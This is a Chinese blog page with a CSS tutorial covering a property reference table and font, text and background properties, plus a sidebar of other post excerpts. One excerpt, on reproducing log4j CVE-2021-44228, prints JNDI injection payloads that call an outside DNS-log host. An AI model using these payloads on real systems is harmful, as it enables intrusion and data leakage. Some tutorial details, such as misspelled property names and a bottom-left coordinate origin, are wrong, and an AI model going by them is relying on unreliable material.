当前位置：首页 > news >正文

（Java高级教程）第四章必备前端基础知识-第二节2：CSS属性

news 来源：原创 2024/5/3 18:24:03

文章目录

一：CSS属性一览表
二：常用属性详解
- （1）字体属性
- （2）文本属性
- （3）背景属性

一：CSS属性一览表

W3C：元素属性

A：

align-content	规定弹性容器内的行之间的对齐方式，当项目不使用所有可用空间时。
align-items	规定弹性容器内项目的对齐方式。
align-self	规定弹性容器内所选项目的对齐方式。
all	重置所有属性（除了 unicode-bidi 和 direction）。
animation	所有 animation-* 属性的简写属性。
animation-delay	规定开始动画的延迟。
animation-direction	规定动画是向前播放、向后播放还是交替播放。
animation-duration	规定动画完成一个周期应花费的时间。
animation-fill-mode	规定元素在不播放动画时（在开始之前、结束之后、或同时）的样式。
animation-iteration-count	规定动画的播放次数。
animation-name	规定 @keyframes 动画的名称。
animation-play-state	规定动画是播放还是暂停。
animation-timing-function	规定动画的速度曲线。

B：

backface-visibility	定义当面对用户时元素的背面是否应可见。
background	所有 background-* 属性的简写属性。
background-attachment	设置背景图像是与页面的其余部分一起滚动还是固定的。
background-blend-mode	规定每个背景图层（颜色/图像）的混合模式。
background-clip	定义背景（颜色或图像）应在元素内延伸的距离。
background-color	规定元素的背景色。
background-image	规定元素的一幅或多幅背景图像。
background-origin	规定背景图像的初始位置。
background-position	规定背景图像的位置。
background-repeat	设置是否以及如何重复背景图像。
background-size	规定背景图像的尺寸。
border	border-width、border-style 以及 border-color 的简写属性。
border-bottom	border-bottom-width、border-bottom-style 以及 border-bottom-color 的简写属性。
border-bottom-color	设置下边框的颜色。
border-bottom-left-radius	定义左下角的边框圆角。
border-bottom-right-radius	定义右下角的边框圆角。
border-bottom-style	设置下边框的样式。
border-bottom-width	设置下边框的宽度。
border-collapse	设置表格边框是折叠为单一边框还是分开的。
border-color	设置四条边框的颜色。
border-image	border-image-* 属性的简写属性。
border-image-outset	规定边框图像区域超出边框的量。
border-image-repeat	规定边框图像应重复、圆角、还是拉伸。
border-image-slice	规定如何裁切边框图像。
border-image-source	规定用作边框的图像的路径。
border-image-width	规定边框图像的宽度。
border-left	所有 border-left-* 属性的简写属性。
border-left-color	设置左边框的颜色。
border-left-style	设置左边框的样式。
border-left-width	设置左边框的宽度。
border-radius	四个 `border-*-radius` 属性的简写属性。
border-right	所有 border-right-* 属性的简写属性。
border-right-color	设置右边框的颜色。
border-right-style	设置右边框的样式。
border-right-width	设置右边框的宽度。
border-spacing	设置相邻单元格边框之间的距离。
border-style	设置四条边框的样式。
border-top	border-top-width、border-top-style 以及 border-top-color 的简写属性。
border-top-color	设置上边框的颜色。
border-top-left-radius	定义左上角的边框圆角。
border-top-right-radius	定义右上角的边框圆角。
border-top-style	设置上边框的样式。
border-top-width	设置上边框的宽度。
border-width	设置四条边框的宽度。
bottom	设置元素相对于其父元素底部的位置。
box-decoration-break	设置元素在分页符处的背景和边框的行为，或对于行内元素在换行符处的行为。
box-shadow	将一个或多个阴影附加到元素。
box-sizing	定义元素的宽度和高度的计算方式：它们是否应包含内边距和边框。
break-after	规定指定元素之后是否应出现 page-、column- 或 region-break。
break-before	规定指定元素之前是否应出现 page-、column- 或 region-break。
break-inside	规定指定元素内部是否应出现 page-、column- 或 region-break。

C：

caption-side	规定表格标题的放置方式。
caret-color	规定光标在 input、textarea 或任何可编辑元素中的颜色。
@charset	规定样式表中使用的字符编码。
clear	规定不允许在元素的哪一侧浮动元素
clip	剪裁绝对定位的元素。
clip-path	将元素裁剪为基本形状或 SVG 源。
color	设置文本的颜色。
column-count	规定元素应分为的列数。
column-fill	指定如何填充列（是否 balanced）。
column-gap	规定列间隙。
column-rule	所有 column-rule-* 属性的简写属性。
column-rule-color	规定列之间规则的颜色。
column-rule-style	规定列之间的规则样式。
column-rule-width	规定列之间的规则宽度。
column-span	规定元素应该跨越多少列。
column-width	规定列宽度。
columns	column-width 和 column-count 的简写属性。
content	与 :before 和 :after 伪元素一起使用，来插入生成的内容。
counter-increment	增加或减少一个或多个 CSS 计数器的值。
counter-reset	创建或重置一个或多个 CSS 计数器。
cursor	规定当指向元素时要显示的鼠标光标。

D：

direction	规定文本方向/书写方向。
display	规定如何显示某个 HTML 元素。

E：

empty-cells	规定是否在表格中的空白单元格上显示边框和背景。

F：

filter	定义元素显示之前的效果（例如，模糊或颜色偏移）。
flex	flex-grow、flex-shrink 以及 flex-basis 的简写属性。
flex-basis	规定弹性项目的初始长度。
flex-direction	规定弹性项目的方向。
flex-flow	flex-direction 和 flex-wrap 的简写属性。
flex-grow	规定项目相对于其余项目的增量。
flex-shrink	规定项目相对于其余项目的减量。
flex-wrap	规定弹性项目是否应该换行。
float	规定是否应该对盒（box）进行浮动。
font	font-style、font-variant、font-weight、font-size/line-height 以及 font-family 的简写属性。
@font-face	允许网站下载和使用 “web-safe” 字体以外的其他字体的规则。
font-family	规定文本的字体族（字体系列）。
font-feature-settings	允许控制 OpenType 字体中的高级印刷特性。
@font-feature-values	允许创作者使用 font-variant-alternate 中的通用名来实现在 OpenType 中以不同方式激活的特性。
font-kerning	控制字距调整信息的使用（字母间距）。
font-language-override	控制特定语言的字形在字体的使用。
font-size	规定文本的字体大小。
font-size-adjust	保持发生字体回退时的可读性。
font-stretch	从字体系列中选择一个普通的、压缩的或扩展的字体。
font-style	规定文本的字体样式。
font-synthesis	控制哪些缺失的字体（粗体或斜体）可以由浏览器合成。
font-variant	规定是否应该以小型大写字体显示文本。
font-variant-alternates	控制与 @font-feature-values 中定义的备用名称关联的备用字形的使用。
font-variant-caps	控制大写字母的备用字形的使用。
font-variant-east-asian	控制东亚文字（例如中文和日语）的备用字形的使用。
font-variant-ligatures	控制在适用于元素的文本内容中使用哪些连字和上下文形式。
font-variant-numeric	控制数字、分数和序号标记的备用字形的使用。
font-variant-position	控制较小字体的替代字形的使用，这些字形相对于字体基线定位为上标或下标。
font-weight	规定字体的粗细。

G：

grid	grid-template-rows、grid-template-columns、grid-template-areas、grid-auto-rows、grid-auto-columns 以及 grid-auto-flow 属性的简写属性。
grid-area	即可规定网格项的名称，也可以是 grid-row-start、grid-column-start、grid-row-end 以及 grid-column-end 属性的简写属性。
grid-auto-columns	规定默认的列尺寸。
grid-auto-flow	规定如何在网格中插入自动放置的项目。
grid-auto-rows	规定默认的行尺寸。
grid-column	grid-column-start 和 grid-column-end 属性的简写属性。
grid-column-end	规定如何结束网格项目。
grid-column-gap	规定列间隙的尺寸。
grid-column-start	规定网格项目从何处开始。
grid-gap	grid-row-gap 和 grid-column-gap 的简写属性。
grid-row	grid-row-start 和 grid-row-end 属性的简写属性。
grid-row-end	规定网格项目在何处结束。
grid-row-gap	规定列间隙的尺寸。
grid-row-start	规定网格项目从何处开始。
grid-template	grid-template-rows、grid-template-columns 以及 grid-areas 属性的简写属性。
grid-template-areas	规定如何使用命名的网格项显示列和行。
grid-template-columns	指定列的尺寸以及网格布局中的列数。
grid-template-rows	指定网格布局中的行的尺寸。

H：

hanging-punctuation	规定是否可以在行框外放置标点符号。
height	设置元素的高度。
hyphens	设置如何分割单词以改善段落的布局。

I：

image-rendering	当图像被缩放时，向浏览器提供关于保留图像的哪些最重要的方面的信息。
@import	允许您将样式表导入另一张样式表。
isolation	定义元素是否必须创建新的堆叠内容。

J：

justify-content	规定项目在弹性容器内的对齐方式，当项目未用到所有可用空间时。

K：

@keyframes	规定动画代码。

L：

left	规定定位元素的左侧位置。
letter-spacing	增加或减少文本中的字符间距。
line-break	如何如何/是否换行。
line-height	设置行高。
list-style	在一条声明中设置所有列表属性。
list-style-image	把图像指定为列表项标记。
list-style-position	规定列表项标记的位置。
list-style-type	规定列表项标记的类型。

M：

margin	在一条声明中设置所有外边距属性。
margin-bottom	设置元素的下外边距。
margin-left	设置元素的左外边距。
margin-right	设置元素的右外边距。
margin-top	设置元素的上外边距。
mask	通过在特定位置遮罩或剪切图像来隐藏元素。
mask-type	规定将遮罩元素用作亮度或 Alpha 遮罩。
max-height	设置元素的最大高度。
max-width	设置元素的最大宽度。
@media	为不同的媒体类型、设备、尺寸设置样式规则。
min-height	设置元素的最小高度。
min-width	设置元素的最小宽度。
mix-blend-mode	规定元素内容应如何与其直接父的背景相混合。

O：

object-fit	规定替换元素的内容应如何适合其所用高度和宽度建立的框。
object-position	指定替换元素在其框内的对齐方式。
opacity	设置元素的不透明等级。
order	设置弹性项目相对于其余项目的顺序。
orphans	设置在元素内发生分页时必须保留在页面底部的最小行数。
outline	outline-width、outline-style 以及 outline-color 属性的简写属性。
outline-color	设置轮廓的颜色。
outline-offset	对轮廓进行偏移，并将其绘制到边框边缘之外。
outline-style	设置轮廓的样式。
outline-width	设置轮廓的宽度。
overflow	规定如果内容溢出元素框会发生什么情况。
overflow-wrap	规定浏览器是否可能为了防止溢出而在单词内折行（当字符串太长而无法适应其包含框时）。
overflow-x	规定是否剪裁内容的左右边缘，如果它溢出了元素的内容区域。
overflow-y	规定是否剪裁内容的上下边缘，如果它溢出了元素的内容区域。

P：

padding	所有 padding-* 属性的简写属性。
padding-bottom	设置元素的下内边距。
padding-left	设置元素的左内边距。
padding-right	设置元素的右内边距。
padding-top	设置元素的上内边距。
page-break-after	设置元素之后的分页（page-break）行为。
page-break-before	设置元素之前的分页（page-break）行为。
page-break-inside	设置元素内的分页（page-break）行为。
perspective	为 3D 定位元素提供透视。
perspective-origin	定义用户观看 3D 定位元素的位置。
pointer-events	定义元素是否对指针事件做出反应。
position	规定用于元素的定位方法的类型（静态、相对、绝对或固定）。

Q：

quotes	设置引号类型。

R：

resize	定义用户是否以及如何调整元素的尺寸。
right	规定定位元素的左侧位置。

S：

scroll-behavior	规定可滚动框中是否平滑地滚动，而不是直接跳跃。

T：

tab-size	规定制表符的宽度。
table-layout	定义用于对单元格、行和列进行布局的算法。
text-align	规定文本的水平对齐方式。
text-align-last	描述当 text-align 为 “justify” 时，如何在强制换行之前对齐块或行的最后一行。
text-combine-upright	将多个字符组合到到单个字符的空间中。
text-decoration	规定文本装饰。
text-decoration-color	规定文本装饰（text-decoration）的颜色。
text-decoration-line	规定文本装饰（text-decoration）中的的行类型。
text-decoration-style	规定文本装饰（text-decoration）中的行样式。
text-indent	规定文本块（text-block）中的的首行缩进。
text-justify	规定当 text-align 为 “justify” 时使用的对齐方法。
text-orientation	定义行中的文本方向。
text-overflow	规定当文本溢出包含元素时应该发生的情况。
text-shadow	添加文本阴影。
text-transform	控制文本的大写。
text-underline-position	规定使用 text-decoration 属性设置的下划线的位置。
top	规定定位元素的顶端位置。
transform	向元素应用 2D 或 3D 转换。
transform-origin	允许您更改转换元素的位置。
transform-style	规定如何在 3D 空间中渲染嵌套的元素。
transition	所有 transition-* 属性的简写属性。
transition-delay	规定合适开始过渡效果。
transition-duration	规定完成过渡效果所需的秒或毫秒数。
transition-property	规定过渡效果对应的 CSS 属性的名称。
transition-timing-function	规定过渡效果的速度曲线。

U：

unicode-bidi	与 direction 属性一起使用，设置或返回是否应覆写文本来支持同一文档中的多种语言。
user-select	规定是否能选取元素的文本。

V：

vertical-align	设置元素的垂直对齐方式。
visibility	规定元素是否可见。

W：

white-space	规定如何处理元素内的空白字符。
widows	设置如果元素内发生分页，必须在页面顶部保留的最小行数。
width	设置元素的宽度。
word-break	规定单词到达行末后如何换行。
word-spacing	增加或减少文本中的单词间距。
word-wrap	允许长的、不能折行的单词换到下一行。
writing-mode	规定文本行是水平还是垂直布局。

Z：

z-index	设置定位元素的堆叠顺序。

二：常用属性详解

（1）字体属性

字体类型：利用font-fmaily设置使用哪种字体，例如“楷体”、“宋体”等等。注意

字体的名称可以使用中文（但是不建议）
多个字体之间使用,分隔，此时浏览器会从左向右依次检查系统是否存在这种字体，如果所列字体都没有，将会使用默认字体（Chrome默认字体为微软雅黑）
如果字体名有空格，需要使用引号包裹住
为了保证兼容性，建议使用常用字体

<p id="english">this is english font-family</p>  
<p id="chinese1">这是中文字体1</p>  
<p id="chinese2">这是中文字体2</p>

#english {  font-family: Consolas;  
}  #chinese1 {  font-family: 方正准圆简体;  
}  #chinese2 {  font-family: 字魂109号-方格习字体;  
}

在这里插入图片描述

字体大小：利用font-weight设置字体显示的大小。注意

单位是px
由于不同浏览器默认字体大小是不一样的，所以最好给定一个明确各执，其中Chrome是16px
可以对body标签使用font-size进行统一设定，注意标题标签要单独指定大小

<p>测试文字</p>

p {  font-size: 25px;  
}

在这里插入图片描述

字体粗细：利用font-weight设置字体的粗细。注意

可以使用数字表示粗细，取值范围为[100, 900]
也可以使用normal、bold、lighter、bolder进行设定
其中700表示bold，400是normal

<p>测试文字</p>

p {  font-size: 25px;  font-weight: 700;  
}

在这里插入图片描述

字体样式：利用font-style设置字体样式。其取值含义如下

normal：显示标准字体样式
italic：显示一个斜体的字体样式
- 注意：italic是字体自带的斜体属性，oblique是使字体向右倾斜。但是，并不是所有字体都具有斜体的样式，对于那些没有斜体样式的字体来说，使用italic是没有效果的，此时就可以利用oblique代替italic来实现字体倾斜的效果
oblique：显示一个倾斜的字体样式

<p id="normal">标准字体样式</p>  
<p id="italic">斜体字体样式</p>  
<p id="oblique">倾斜字体样式</p>

#italic {  font-style: italic;  
}  #oblique {  font-style: oblique;  
}

在这里插入图片描述

（2）文本属性

文本颜色：使用color可以设置文本的显示颜色，主要有如下三种写法

预定义颜色值：例如color: red
十六进制形式：例如color: #ff0000
使用RGB：例如color: rbg(255, 0, 0)

<p id="one">测试文字1</p>  
<p id="two">测试文字2</p>  
<p id="three">测试文字3</p>

#one {  color: green;  
}  #two {  color: #008800;  
}  #three {  color: rgb(0, 128, 0);  
}

在这里插入图片描述

文本对齐：使用text-align控制文字（也能控制图片等其他元素）在水平方向的对齐。其取值含义如下

center：居中对齐
left：左对齐
right：右对齐

<p id="one">居中</p>  
<p id="two">左对齐</p>  
<p id="three">右对齐</p>

#one {  text-align: center;  
}  #two {  text-align: left;  }  #three {  text-align: right;  
}

在这里插入图片描述

文本装饰：使用text-decoration对文字进行装饰。其权值含义如下

underline：下划线
none：什么都没有
overline：上划线
line-through：删除线

<p id="one">下划线</p>  
<p id="two">上划线</p>  
<p id="three">删除线</p>

#one {  text-decoration: underline;  
}  #two {  text-decoration: overline;  
}  #three {  text-decoration: line-through;  
}

在这里插入图片描述

文本缩进：使用text-indent控制段落的首行缩进。注意

单位可以使用px或者em，但使用em更好，因为1个em就是当前元素的文字大小
如果其值为负数，那么表示向左缩进

<p id="one">正常缩进</p>  
<p id="two">向左缩进</p>

#one {  text-indent: 2em;  
}  #two {  text-indent: -2em;  
}

在这里插入图片描述

行高：在HTML中展示文字时会设置如下四个基准线

顶线
中线
基线
底线

如下，文字将会被包裹在由顶线和底线所围成的深灰色区域

在这里插入图片描述

而行高指的是文字本身的大小+上边距（该行文字顶线距上一行文字底线的距离）+下边距（）该行文字底线距下一行文字顶线的距离，CSS中可以使用line-height设置行高

<p>测试文字1</p>  
<p>测试文字2</p>  
<p>测试文字3</p>

p {  font-size: 16px;  line-height: 40px;  
}

在这里插入图片描述

另外，如果要让文字在垂直方向上也居中，那么可以使line-height等于元素的高度height

<div>测试元素</div>

div {  width: 200px;  height: 100px;  background-color: indianred;  text-align: center;  line-height: 100px;  }

在这里插入图片描述

（3）背景属性

背景颜色：使用background-color可以设置背景颜色

<div class="bgc">  <div class="one">红色背景</div>  <div class="two">绿色背景</div>  <div class="three">透明背景</div>  
</div>

  
.bgc .one {  background-color: red;  
}  .bgc .two {  background-color: #0f0;  
}  .bgc .three {  background-color: transparent;  
}

在这里插入图片描述

背景图片：使用background-image可以设置背景图片

注意：背景颜色和背景图片可以同时存在，背景图片在背景颜色上方

<div></div>

div {  width: 1200px;  height: 1200px;  background-image: url(./air.png);  
}

在这里插入图片描述

背景平铺：使用background-repeat设置背景图片的平铺方式，其取值含义如下

repeat：平铺（默认值，如上图）
no-repeat：不平铺
repeat-x：水平平铺
repeat-y：垂直平铺

div {  width: 1200px;  height: 1200px;  background-image: url(./air.png);  background-repeat: no-repeat;  
}

在这里插入图片描述

背景位置：可以使用background-position修改图片的位置，有如下三种设置方式

方位名词：(top, left, right- bottom)
精确单位：(坐标x，坐标y)

需要注意的是，浏览器中的坐标系是下面这样的，左下角为坐标原点

在这里插入图片描述

同时注意

如果只指定了一个方位名词，那么第二个默认会居中（left为水平居中，top为垂直居中）
如果只给定了x，那么y会垂直居中

div {  width: 500px;  height: 500px;  background-image: url(./air.png);  background-repeat: no-repeat;  background-color: blue;  background-position: center;  
}

在这里插入图片描述

背景尺寸：使用background-size设置图片的尺寸大小，有如下三种设置方式

具体数值：
百分比：此时参照父元素的尺寸大小进行设置
cover：使背景图片扩展至足够大，让其完全覆盖背景区域，此时背景图片的部分内容也许无法显示出来
contain：使背景图片扩展至最大尺寸，让其能完整显示

下图体现了cover（上）和contain（下）的区别

在这里插入图片描述

取模二题

P7521 P5682 题目都差不多是数组中的一些数和其他数进行模操作，求模结果的最大值。这类题可以将数组中的数排序，因为若$x%y==k$，那么$k<y$，所以我们可以往这个上想。同时根据上面的结论，那么如果我们想让结果更大，那模数就得更大，所以就有了只取最大几个数的乱搞…...

编程日记 2024/5/3 15:38:41

Windows使用WSL2及docker(Ubuntu22.04 LTS)

WSL2初始化 1.换源 #1 cp /etc/apt/sources.list /etc/apt/sources.list.bak#2 vim /etc/apt/sources.list # 清空原源并替换成以下源 # deb-src https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal main restricted universe multiverse deb https://mirrors.tuna.tsinghua.…...

编程日记 2024/5/3 15:32:40

VULHUB复现log4j反序列化漏洞-CVE-2021-44228

本地下载vulhub复现就完了，环境搭建不讲，网上其他文章很好。访问该环境： POC 构造（任选其一）： ${jndi:ldap://${sys:java.version}.xxx.dnslog.cn} ${jndi:rmi://${sys:java.version}.xxx.dnslog.cn}我是…...

编程日记 2024/5/3 7:24:16

二.Django项目之电商购物商城 -- 校验用户输入密码是否合法

Django项目之电商购物商城 – 校验用户输入密码是否合法需要开发文档和前端资料的可私聊一. 创建用户逻辑操作 1. 创建用户app – users python manage.py startapp users2.注册app users.apps.UsersConfig,3. 创建视图 from django.shortcuts import render from djan…...

编程日记 2024/5/3 5:51:22

mybatis自动填充多个表相同字段的值

有很多表的设计里面，有一些字段都是相同的,类似 createTime,updateTime等等,这些字段如果每次在插入或更新时都操作一次很烦锁, mybatis提供了机制可以很方便的自动填充这些字段具体做法 1.在字段上添加注解 //插入时填充 @TableField(fill = FieldFill.INSERT)private Date …...

编程日记 2024/5/3 3:09:11

（Java高级教程）第四章必备前端基础知识-第二节2：CSS属性

文章目录一：CSS属性一览表二：常用属性详解（1）字体属性（2）文本属性（3）背景属性一：CSS属性一览表 W3C：元素属性 A： align-content规定弹性容器内…...

编程日记 2024/5/3 18:24:03

听障人士亲述：我们在VRChat用手语交流，成员规模5000人

如果你在B站上搜索VRChat，排在前面的热门视频几乎都是与老外聊天的内容。除了练习语言、交文化流外，你还能在VRChat上遇到不少哇哇乱叫的小孩。作为一款VR社交应用，除了有趣的小游戏外，说话聊天也是VRChat关键的玩法之一。而有这么…...

编程日记 2024/4/30 23:22:26

设计一个70W在线人数的弹幕系统

背景： 直播业务中增加弹幕系统，支持单房间百万用户同时在线。问题分析： 带宽压力： 假如说每3秒促达用户一次，那么每次内容至少需要有15条才能做到视觉无卡顿。15条弹幕http包头的大小将超过3k，那么每秒…...

编程日记 2024/5/1 15:37:12

一起自学SLAM算法：第9章-视觉SLAM系统

连载文章，长期更新，欢迎关注： 上一章介绍了以激光雷达做为数据输入的激光SLAM系统，激光雷达的优点在于数据稳定性好、测距精度高、扫描范围广，但缺点是价格昂贵、数据信息量低、安装部署位置不能有遮挡、雨天烟雾等环境…...

编程日记 2024/4/27 23:10:09

LeetCode 437. 路径总和 III

LeetCode 437. 路径总和 III 给定一个二叉树的根节点 root ，和一个整数 targetSum ，求该二叉树里节点值之和等于 targetSum 的路径的数目。路径不需要从根节点开始，也不需要在叶子节点结束，但是路径方向必须是向下的&#xff…...

编程日记 2024/4/29 12:21:53

LinuxC—高级IO

高级IO 1 非阻塞IO/有限状态机编程 1.1 基本概念定义有限状态机(Finite State Machine) 缩写为 FSM，状态机有 3 个组成部分：状态、事件、动作。状态：所有可能存在的状态。包括当前状态和条件满足后要迁移的状态。事件：也称为…...

编程日记 2024/5/2 3:46:11

WebSocket 入门：简易聊天室

大家好，我是前端西瓜哥，今天我们用 WebSocket 来实现一个简单的聊天室。 WebSocket 是一个应用层协议，有点类似 HTTP。但和 HTTP 不一样的是，它支持真正的全双工，即不仅客户端可以主动发消息给服务端，服务…...

编程日记 2024/5/2 8:28:54

Windows10添加WebDav地址时报错“输入的文件夹无效，请选择另一个”

一、问题描述在使用Windows10添加WebDav网络地址时，报错“输入的文件夹无效，请选择另一个”，如下图所示：二、问题分析这是由于Windows10的WebDav默认只支持https协议，没有支持http协议导致的。三、解决办法3.1、修改注…...

编程日记 2024/4/22 16:18:07

Cadence PCB仿真使用Allegro PCB SI生成串扰总结报告Crosstalk Summary Report及报告导读图文教程

🏡《Cadence 开发合集目录》 🏡《Cadence PCB 仿真宝典目录》目录 1，概述2，生成报告3，报告导读4，总结1，概述 Crosstalk Summary Report是各种串扰问题的一个简要总结报告。本文简单介绍使用Allegro PCB SI生成Crosstalk Summary Report报告的方法，及其要点导读。…...

编程日记 2024/4/30 19:48:01

【5-卷积神经网络】北京大学TensorFlow2.0

课程地址：【北京大学】Tensorflow2.0_哔哩哔哩_bilibiliPython3.7和TensorFlow2.1六讲：神经网络计算：神经网络的计算过程，搭建第一个神经网络模型神经网络优化：神经网络的优化方法，掌握学习率、激活函数、损…...

编程日记 2024/5/2 9:42:06

C++初阶：vector类

文章目录1 vector介绍2 实现vector2.1 类的定义2.2 默认成员函数2.2.1 构造函数2.2.2 析构函数2.2.3 拷贝构造2.2.4 赋值重载2.3访问接口2.4 容量接口2.5 修改接口2.5.1 尾插尾删2.5.2 任意位置插入2.5.3 任意位置删除2.6 其他接口1 vector介绍 1 vector是表示可变大小数组的序…...

编程日记 2024/4/29 15:06:26

机器学习中软投票和硬投票的不同含义和理解

设置一个场景，比如对于今天音乐会韩红会出现的概率三个人三个观点 A：韩红出现的概率为47% B：韩红出现的概率为57% C：韩红出现的概率为97% 软投票：软投票会认为韩红出现的概率为1/3*(47%57%97%)67% 硬投票：…...

编程日记 2024/5/1 8:42:58

Linux系统之网络客户端工具

Linux系统之网络客户端工具一、Links工具1.Links工具介绍2.安装Links软件3.Links工具的使用4.打印网页源码输出5.打印url版本到标准格式输出二、wget工具1.wget工具介绍2.安装wget软件3.wget工具的使用三、curl工具1.curl工具的介绍2.curl的常用参数3.curl的基本使用四、scp工具…...

编程日记 2024/4/28 20:12:07

c++函数（2）

这里写自定义目录标题默认参数函数重载递归函数变量周期默认参数可为形参指定默认值，如果在函数调用时，没有指定与形参对应的实参时，就自动使用默认值。默认参数可简化复杂函数的调用。默认参数在函数名第一次出现在程序中指定&#xff0…...

编程日记 2024/5/3 14:31:08

HackTheBox Stocker API滥用，CVE-2020-24815获取用户shell，目录遍历提权

靶机地址： https://app.hackthebox.com/machines/Stocker枚举使用nmap枚举靶机 nmap -sC -sV 10.10.11.196机子开放了22，80端口，我们本地解析一下这个域名 echo "10.10.11.196 stocker.htb" >> /etc/hosts 去浏览器访问…...

编程日记 2024/4/29 13:29:43

Java线程池应用实例

线程池的学习基本概念好处应用场景ThreadPoolExecutor实例理解：执行流程自定义线程池4大核心参数测试demo结论：ExecutorService常用方法思考获取ExecutorService代码示例ScheduleExecutorService常用获取方式如下ScheduledExecutorService常用方法如下:代…...

编程日记 2024/5/2 18:13:56

数字签名技术

介绍数字签名数字签名是一种用于确认数据的完整性、确认发送者身份的技术。签名主要包含两个过程：做摘要、进行非对称加密。做摘要：签名者使用消息摘要算法对消息做摘要；进行非对称加密，得到签名值：签名者使用私…...

编程日记 2024/4/28 9:29:55

WPF-3D图形

WPF-3D图形 WPF的3D功能可以在不编写任何c#代码的情况下进行绘制，只需要使用xaml即可完成3D图形的渲染。本文主要讲述了WPF-3D中的关键概念， 以及常用到的命中测试、2d控件如何在3D对象中进行渲染，除此之外，还演示了如何导入外部…...

编程日记 2024/5/1 3:48:37

返回值的理解

前言我们写的函数是怎么返回的，该如何返回一个临时变量，临时变量不是出栈就销毁了吗，为什么可以传递给调用方？返回对象的大小对使用的方式有影响吗？本文将带你探究这些问题，阅读本文需要对函数栈帧有一定…...

编程日记 2024/5/1 19:15:15

前端布局神器display:flex

Flexbox，一种CSS3的布局模式，也叫做弹性盒子模型，用来为盒装模型提供最大的灵活性。首先举一个栗子，之前我们是这样实现一个div盒子水平垂直居中的。在知道对象高宽的情况下，对居中元素绝对百分比定位，然后…...

编程日记 2024/5/2 20:05:34

【Typescript学习】使用 React 和 TypeScript 构建web应用（三）所有组件

教程来自freecodeCamp：【英字】使用 React 和 TypeScript 构建应用程序跟做，仅记录用其他资料：https://www.freecodecamp.org/chinese/news/learn-typescript-beginners-guide/ 第三天以下是视频(0:40-0:60) 的内容目录第三天1 创建Todo…...

编程日记 2024/4/26 11:55:25

7.3 矩阵范数

定义向量有范数，矩阵也有范数，定义和向量范数类似，不过多了一条要求。它的定义如下： 正定性positivity,∥A∥≥0\parallel A\parallel\ge 0∥A∥≥0，只有A0A0A0时才取等号；非负齐次性homogeneity或scalin…...

编程日记 2024/5/2 23:08:40

Jetpack架构组件库：Hilt

Hilt Hilt 是基于 Dagger2 的依赖注入框架，Google团队将其专门为Android开发打造了一种纯注解的使用方式，相比 Dagger2 而言使用起来更加简单。依赖注入框架的主要作用就是控制反转（IOC, Inversion of Control）, 那么什么是控制…...

编程日记 2024/4/30 4:05:13

InstanceNorm LayerNorm

InstanceNorm && LayerNorm author: SUFEHeisenberg date: 2023/01/26 先说结论: 将Transformer类比于RNN：一个token就是一层layer，对一整句不如token有意义原生Bert代码或huggingface中用的都是InstanceNorm instead of LayerNorm&#xff…...

编程日记 2024/5/3 4:30:50

数据结构---堆

堆定义基本操作建堆堆排序优先队列一、堆的定义： 堆必须是一个完全二叉树还得满足堆序性什么是完全二叉树呢？ 完全二叉树只允许最后一行不为满且最后一行必须从左到右排序最后一行元素之间不可有间隔，中间不可有空缺如下几棵树…...

编程日记 2024/5/1 2:30:08

3小时精通opencv(五) 利用TrackBar进行颜色检测

3小时精通opencv(五) 利用TrackBar进行颜色检测参考视频资源:3h精通Opencv-Python 本章内容介绍如何利用TrackBar调节色域, 手动提取到我们需要的颜色文章目录3小时精通opencv(五) 利用TrackBar进行颜色检测创建Trackbar色彩检测创建Trackbar 在opencv中使用createTrackbar函…...

编程日记 2024/4/26 6:27:36

学习记录673@项目管理之进度管理案例

本文主要是进度管理之关键链路法的案例。案例 Perfect 项目的建设方要求必须按合同规定的期限交付系统，承建方项目经理李某决定严格执行项目进度管理，以保证项目按期完成。他决定使用关键路径法来编制项目进度网络图。在对工作分解结构进行认真分析后&…...

编程日记 2024/4/30 1:17:37

【设计模式】结构型模式·组合模式

学习汇总入口【23种设计模式】学习汇总(数万字讲解体系思维导图) 写作不易，如果您觉得写的不错，欢迎给博主来一波点赞、收藏~让博主更有动力吧！ 一.概述又称为部分整体模式，用于把一组相似的对象当作一个单一的对象。组合模式依…...

编程日记 2024/4/29 2:53:00

Vue-Router详解

1、前端路由的发展历程 1.1、认识前端路由路由其实是网络工程中的一个术语： 在架构一个网络时，非常重要的两个设备就是路由器和交换机。当然，目前在我们生活中路由器也是越来越被大家所熟知，因为我们生活中都会用到路由器&…...

编程日记 2024/5/1 16:18:26

Eclipse中的Build Path

Eclipse中的Build Path简介如果修改了Build Path中的中的JRE版本，记得还需要同步修改Java编译器的版本，如下图红框所示简介 Build Path是Java工程包含的资源属性合集，用来管理和配置此Java工程中【除当前工程自身代码以外的其他资源】的引用…...

编程日记 2024/5/3 5:18:03

Python与Matlab混合编程案例

前言因为项目需要，需要批处理很多Matlab的.m文件，从每个文件中提取结果合并到一个文件中。很明显，如果手工统计，几百个文件会累死的。因此立即想到了Python在批处理方面的优势，因此就在网上找了相关资料，…...

编程日记 2024/4/30 12:29:39

stack、queue、priority_queue

容器适配器适配器是一种设计模式(设计模式是一套被反复使用的、多数人知晓的、经过分类编目的、代码设计经验的总结)，该种模式是将一个类的接口转换成客户希望的另外一个接口。其中stack和queue都是容器适配器，其中stack可以封装vector、list以及我们…...

编程日记 2024/4/24 16:43:01

高通平台开发系列讲解（GPS篇）gpsONE 系统架构

文章目录一、系统架构图二、gpsONE系统组成三、gpsONE交互流程沉淀、分享、成长，让自己和他人都能有所收获！😄 📢高通的定位系统模块，名称叫gpsONE。一、系统架构图二、gpsONE系统组成 GPS系统架构可以分为六个部分： APP层Framework Client端（LocationManager API…...

编程日记 2024/5/1 11:40:26

zkMove——针对Move合约生态的zkVM

1. 引言 Move为不同于Solidity的，开源的安全的智能合约开发语言，最早由Facebook为Diem链创造开发。不过，Move本身设计为与平台无关的语言，具有通用的库、工具，并使得采用完全不同数据模型和执行模型的链的开发者社区都…...

编程日记 2024/4/28 12:03:25

贪心算法的题目

每一步都做出一个局部最优的选择，最终的结果就是全局最优只有一部分问题才能用贪心算法（严格来讲，一个问题能不能用贪心算法需要证明的） 2022.8.30 蔚来笔试题： 有a个y,b个o,c个u,用这些字母拼成一个字符串&#xf…...

编程日记 2024/5/1 22:55:12

线程控制--Linux

文章目录线程理解线程的优点与缺点进程的多个线程共享线程控制线程创建线程终止线程等待线程分离总结线程理解谈及线程，就不得不谈起进程与线程的关系了。学习完前面有关进程的知识，之前我们对进程的定义是：内核数据结构代码和数据。但是今…...

编程日记 2024/5/3 12:09:17

17 | 如何做好面试复盘？将经验提升为能力

